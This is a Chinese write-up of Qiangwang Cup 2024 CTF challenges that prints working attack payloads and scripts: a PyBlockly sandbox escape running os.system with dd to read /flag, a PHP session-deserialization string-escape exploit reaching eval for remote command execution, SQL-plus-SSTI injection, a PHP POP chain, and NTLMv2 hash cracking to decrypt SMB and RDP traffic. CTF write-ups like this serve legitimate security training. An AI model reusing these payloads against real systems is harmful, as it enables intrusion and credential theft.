pic

最终排名:131

Web

xiaohuanxiong(WP)

先去访问/install安装好

pic

找到xiaohuanxiong源码 xiaohuanxiong ,审代码

pic

看到这个可以新增管理员,访问/admin/Admins进入后台,url变为:http://ip/admin/admins 然后在管理员新增那里添加管理员,返回可以看到成功添加

pic

然后路由扫描扫到了/admin/login

pic

登录管理员

pic

pic

成功登录,然后在支付管理的支付设置中找到有php代码,直接写入

pic

点击提交就有flag

pic

Snake(WP)

做过类似的题,因为格子数量比较少,不用BFS,直接遍历每个格子即可

脚本:

import requests
import json

url = 'http://eci-2zect3m6hd6899ir5njc.cloudeci1.ichunqiu.com:5000/move'
cookies = {'Cookie': 'session=eyJ1c2VybmFtZSI6ImFkbWluIn0.ZyZLQA.eBGzwr1IIeb6A6JdrAd_FVzGMaE'}

def f(x):
req = requests.post(url=url, cookies=cookies, json={"direction": x}).text
# print(req[:-1])
return json.loads(req)

res = f('RIGHT')
while res['snake'][0][0] != 19:
res = f('RIGHT')

for _ in range(9):
f('UP')

for k in range(200):
f('LEFT')
for i in range(10):
for _ in range(18):
f('LEFT')
f('DOWN')
for _ in range(18):
f('RIGHT')
if i != 9:
f('DOWN')
f('RIGHT')
for _ in range(19):
f('UP')

然后得到路由/snake_win?username=admin,payload:/snake_win?username=1’ union select 1,2,’49‘–+ 利用sql结合ssti发现回显49了

pic

然后fenjing一把梭

pic

pic

Proxy(WP)

gpt一把梭

pic

然后kali跑就行,把127.0.0.1改成分配的ip,flag base64解密即可

pic

PyBlockly(复现)

题目描述:积木编程

代码整体大概逻辑:

pic

这么多东西只用看app.py其他东西不用看

app.py运行思路就是用积木编程构造python代码,然后又waf 绕过就可以了 有语法树检测,有黑名单检测

审代码,这里会进行一个python的代码执行

pic

构造格式:{'blocks': {'blocks': [{*'id': '1', 'type': 'print', 'inputs': {'TEXT': {'block': {'id': '2', 'type': 'text', 'fields': {'TEXT': 'Hello, World!'}}}}}]}}

pic

有个unidecoe解码,找字符脚本:(这个脚本的目的是遍历所有可能的 Unicode 字符码点,找到并打印出那些经过 unidecode 转换后变为下划线 (_) 的字符,并列出它们的名称和对应的十六进制码点。)

from unidecode import unidecode
import unicodedata
results = []
# 遍历所有可能的 Unicode 字符码点
for codepoint in range(0x110000): # Unicode 码点的范围是 0 到 0x10FFFF
try:
char = chr(codepoint)
ascii_char = unidecode(char)
if ascii_char == '_':
# 获取字符的名称
name = unicodedata.name(char, "Unknown character")
# 将字符和它的名称添加到结果列表
results.append((char, name, hex(codepoint)))
except ValueError:
continue
for char, name, codepoint_hex in results:
print(f"Character: {char} - Name: {name} - Codepoint: {codepoint_hex}")

payload:

{"blocks":{"languageVersion":0,"blocks":[{"type":"text","id":"~PG?ga`45hw$)473HrT8","fields":{"TEXT":"';__import__("builtins").len=lambda x:0;print(__import__("os").system("ls"));'"}}]}}

这里需要注意:因为长度检查:如果事件名称的长度超过 4,则抛出一个运行时错误。所以

用 len=lambda x: 0 替换 len 函数,这样无论传入什么参数,len 的返回值都会是 0,不会超过钩子函数中设置的长度限制(4)。

然后没权限读flag,需要用到dd提权

payload:{"blocks":{"languageVersion":0,"blocks":[{"type":"print","id":"to3@=3O`Iw7FPn:VgL(D","x":117,"y":192,"inputs":{"TEXT":{"block":{"type":"text","id":";LI^vIskW`IlZLg(X/*4","fields":{"TEXT":"123');glóbáls()['__búíltíns__'].__díct__['lén'] = lámbdá x: 1;prínt(__ímpórt__('ós').systém('échó `dd íf=/flág óf=/tmp/flág`'));prínt('1"}}}}}]}}

在 Linux 中,/tmp 目录是一个用于存放临时文件的标准目录。

pic

然后cat /tmp/flag

{"blocks":{"languageVersion":0,"blocks":[{"type":"print","id":"to3@=3O`Iw7FPn:VgL(D","x":117,"y":192,"inputs":{"TEXT":{"block":{"type":"text","id":";LI^vIskW`IlZLg(X/*4","fields":{"TEXT":"123');glóbáls()['__búíltíns__'].__díct__['lén'] = lámbdá x: 1;prínt(__ímpórt__('ós').systém('échó `cat /tmp/flag`'));prínt('1"}}}}}]}}

参考链接:强网杯2024 Writeup - 星盟安全团队

platform(复现)

用小皮搭了来复现

首先代码审计,考了session反序列化,文章:带你走进PHP session反序列化漏洞 - 先知社区

pic

有个黑名单,这里后面可以用来字符串逃逸

pic

class.php有了eval(),可以用到rce来得到flag

pic

利用username和password来构造payload

pic

先随便传账号密码 admin123 admin123

pic

pic

在/tmp目录这里找到session文件是这样的:user|s:8:”admin123”;session_key|s:19:”qJqS5iXIz6mOZc1WnuX”;password|s:8:”admin123”;

pic

再来看一下session_key的生成,session_key是随机生成长度的,所以需要我们给固定值,然后爆破直到正确

pic

现在就是需要利用前面的黑名单来实现三字符串逃逸来覆盖session_key从而注入恶意代码来反序列化从而得到flag

gpt解释:攻击者可以在 username 字段中插入精心构造的恶意字符串,来覆盖 session_key 或修改其他重要的会话数据。因为 PHP 会自动反序列化这些数据,如果数据格式正确,PHP 会将它们还原成对象或数组。这是反序列化漏洞的关键:攻击者通过精心构造的字符串来操控 $_SESSION 中的内容。

所以我们给定username一个定值来爆破直到长度符合,在password那里反序列化来实现rce

exp:

params = {
"x": "ls /"
}
data = {
'password': ';session_key|O:15:"notouchitsclass":1:{s:4:"data";s:24:"("syste"."m")($_GET[x]);";}password|s:1:"x',
'username': 'execsystemsystemsystempopenpopenexecexecevalevalsystemsystemsystempopenexec'
}

url = "http://eci-2ze420okq7lsm6dzhp94.cloudeci1.ichunqiu.com/"
while 1:
r = requests.session()
r1 = r.post(url + '/index.php', params=params, data=data, verify=False, allow_redirects=False)
r2 = r.post(url + '/index.php', params=params, data=data, verify=False, allow_redirects=False)
r3 = r.post(url + '/dashboard.php?x=ls /', verify=False, allow_redirects=False)
print(r3.text)

参考链接:强网杯2024 Writeup - 星盟安全团队

Password Game(复现)

function filter($password){
$filter_arr = array("admin","2024qwb");
$filter = '/'.implode("|",$filter_arr).'/i';
return preg_replace($filter,"nonono",$password);
}
class guest{
public $username;
public $value;
public function __tostring(){
if($this->username=="guest"){
$value();
}
return $this->username;
}
public function __call($key,$value){
if($this->username==md5($GLOBALS["flag"])){
echo $GLOBALS["flag"];
}
}
}
class root{
public $username;
public $value;
public function __get($key){
if(strpos($this->username, "admin") == 0 && $this->value == "2024qwb"){
$this->value = $GLOBALS["flag"];
echo md5("hello:".$this->value);
}
}
}
class user{
public $username;
public $password;
public $value;
public function __invoke(){
$this->username=md5($GLOBALS["flag"]);
return $this->password->guess();
}
public function __destruct(){
if(strpos($this->username, "admin") == 0 ){
echo "hello".$this->username;
}
}
}
$user=unserialize(filter($_POST["password"]));
if(strpos($user->username, "admin") == 0 && $user->password == "2024qwb"){
echo "hello!";
}

Filter绕过:

pic

长度限制还需要删掉序列化中一些无用的变量

最终payload:

pic

参考链接:2024 强网杯 部分题解 - S1uM4i

Misc

签到

pic

问卷调查

ZmxhZ3t0SGFuS1NfZjBSX1lvVXJfRmVlREJBY2tfc2VFX3kwVV9OZXhUX3llQHIhfQ==

flag{tHanKS_f0R_YoUr_FeeDBAck_seE_y0U_NexT_ye@r!}

givemesecret(WP)

pic

Master of OSINT (WP)

这个就嗯找,就不细说

pic

谍影重重5.0(感觉应该是最细的一篇)(复现)

这题是关于SMB3协议解密和RDP解密

smb协议进行了大量的数据传输,并且这些数据都是加密数据

pic

并且使用了ntlm v2加密协议进行身份认证

pic

需要session key和sessionid解密(在编辑中的首选项的Protocols中找到SM2),而流量传输里面的session key并不是解密所用的session key

pic

解密用的session key得到需要破解出ntlm hash的明文密码

了解一下先

pic

破解密码:

NTLMv2的格式为:username::domain:challenge:HMAC-MD5:blob(challenge为NTLM Server Challenge,HMAC-MD5对应数据包中的NTProofStr,blob对应数据包中Response去掉NTProofStr的后半部分)

pic

得到blob:

tshark -n -r 谍影重重5.0.pcapng -Y ‘ntlmssp.messagetype == 0x00000003’ -T fields -e ntlmssp.auth.username -e ntlmssp.auth.domain -e ntlmssp.ntlmv2_response.ntproofstr -e ntlmssp.auth.ntresponse

pic

得到完整的net-ntlm hash:tom::.:221434d6e2497017:ca32f9b5b48c04ccfa96f35213d63d75:010100000000000040d0731fb92adb01221434d6e24970170000000002001e004400450053004b0054004f0050002d004a0030004500450039004d00520001001e004400450053004b0054004f0050002d004a0030004500450039004d00520004001e004400450053004b0054004f0050002d004a0030004500450039004d00520003001e004400450053004b0054004f0050002d004a0030004500450039004d0052000700080040d0731fb92adb0106000400020000000800300030000000000000000100000000200000bd69d88e01f6425e6c1d7f796d55f11bd4bdcb27c845c6ebfac35b8a3acc42c20a001000000000000000000000000000000000000900260063006900660073002f003100370032002e00310036002e003100300035002e003100320039000000000000000000

使用hashcat爆破,得到密码为babygirl233

pic

脚本得到session key:

from Crypto.Cipher import ARC4
from Crypto.Hash import MD4, MD5, HMAC

password = 'babygirl233'
passwordHash = MD4.new(password.encode('utf-16-le')).hexdigest()
username = 'tom'
domain = '.'
ntProofStr = 'ca32f9b5b48c04ccfa96f35213d63d75'
serverChallenge = 'c1dec53240124487'
sessionKey = '5643a37f253b00b2f52df1afd48c1514'

responseKey = HMAC.new(bytes.fromhex(passwordHash), (username.upper()+domain.upper()).encode('utf-16-le'), MD5).digest()
keyExchangeKey = HMAC.new(responseKey, bytes.fromhex(ntProofStr), MD5).digest()
decryptedSessionKey = ARC4.new(keyExchangeKey).decrypt(bytes.fromhex(sessionKey))
print('Decrypted SMB Session Key is: {}'.format(decryptedSessionKey.hex()))

session id:

pic

有了session key和session id之后就可以解密smb流量了

session id需要反转:

pic

pic

文件导出对象–>smb对象中,可以导出一些文件,其中flag.7z需要密码,另外还有两个证书文件,有用的只有fpx文件,在流量中包含了大量的RDP流量,也有密码,这里可以直接猜测密码是mimikatz

pic

pic

使用命令:

这条命令从 .pfx 文件中提取私钥并将其保存为 PEM 格式

openssl pkcs12 -in server_certificate.pfx -nocerts -out server_key.pem -nodes

这条命令从 server_key.pem 中提取私钥并保存为 server.key 文件,输出的是一个未加密的 RSA 私钥。

openssl rsa -in server_key.pem -out server.key

pic

pic

首选项–>protocols–>TLS–>RSA etitor导入密匙文件

pic

pic

使用命令:tshark -r 谍影重重5.0.pcapng -Y "rdp" -Y "rdp.fastpath.eventheader == 0x00" -T fields -e rdp.fastpath.scancode.keycode > output.txt 提取键盘输入

pic

然后使用脚本映射出键盘的按键

import  json
from jsonpath import jsonpath

scancode_map = {
0x01: 'Esc',
0x02: '1',
0x03: '2',
0x04: '3',
0x05: '4',
0x06: '5',
0x07: '6',
0x08: '7',
0x09: '8',
0x0A: '9',
0x0B: '0',
0x0C: '-',
0x0D: '=',
0x0E: '\b',
0x0F: ' ',
0x10: 'Q',
0x11: 'W',
0x12: 'E',
0x13: 'R',
0x14: 'T',
0x15: 'Y',
0x16: 'U',
0x17: 'I',
0x18: 'O',
0x19: 'P',
0x1A: '[',
0x1B: ']',
0x1C: '\n',
0x1D: 'Ctrl',
0x1E: 'A',
0x1F: 'S',
0x20: 'D',
0x21: 'F',
0x22: 'G',
0x23: 'H',
0x24: 'J',
0x25: 'K',
0x26: 'L',
0x27: ';',
0x28: '\'',
0x29: '`',
0x2A: ' Shift ',
0x2B: '\\',
0x2C: 'Z',
0x2D: 'X',
0x2E: 'C',
0x2F: 'V',
0x30: 'B',
0x31: 'N',
0x32: 'M',
0x33: ',',
0x34: '.',
0x35: '/',
0x36: ' Shift ',
0x37: '*',
0x38: ' Left Alt ',
0x39: ' ',
0x3A: ' Caps Lock ',
0x3B: ' F1 ',
0x3C: ' F2 ',
0x3D: ' F3 ',
0x3E: ' F4 ',
0x3F: ' F5 ',
0x40: ' F6 ',
0x41: ' F7 ',
0x42: ' F8 ',
0x43: ' F9 ',
0x44: ' F10 ',
0x45: ' Num Lock ',
0x46: ' Scroll Lock ',
0x47: ' Home ',
0x48: ' Up Arrow ',
0x49: ' Page Up',
0x4A: ' Keypad -',
0x4B: ' Left Arrow',
0x4C: ' Keypad 5',
0x4D: ' Right Arrow',
0x4E: ' Keypad +',
0x4F: ' End',
0x50: ' Down Arrow',
0x51: ' Page Down',
0x52: ' Insert',
0x53: ' Delete',
0x57: ' F11',
0x58: ' F12'
}

def convert_hex_string(hex_string):
# 去掉前缀并转换为大写
if hex_string.startswith('0x'):
hex_value = hex_string[2:].upper()
return f'0x{hex_value}'
return None # 如果字符串不以'0x'开头,返回None



with open("out.txt","r",encoding="utf-8") as file:
lines = file.readlines()

con=[]
for line in lines:
con.append(line.strip('\n'))

print(con)
print("\n")

for i in range (len(con)):
if con[i]==con[i-1]:
continue
try:
print(scancode_map[int(con[i],16)],end="")
except:
pass

pic

最终flag.7z的密码就是babygirl233拼接9347013182:babygirl2339347013182,解压得到flag

pic

参考文章:强网杯 谍影重重5.0 WP

强网杯2024 Writeup - 星盟安全团队

Windows下的密码hash——NTLM hash和Net-NTLM hash介绍 - 先知社区

SMB 解密 - TryHackMe :: MWLab — Ladislav 的恶意软件实验室 — SMB Decryption - TryHackMe :: MWLab — Ladislav’s Malware Lab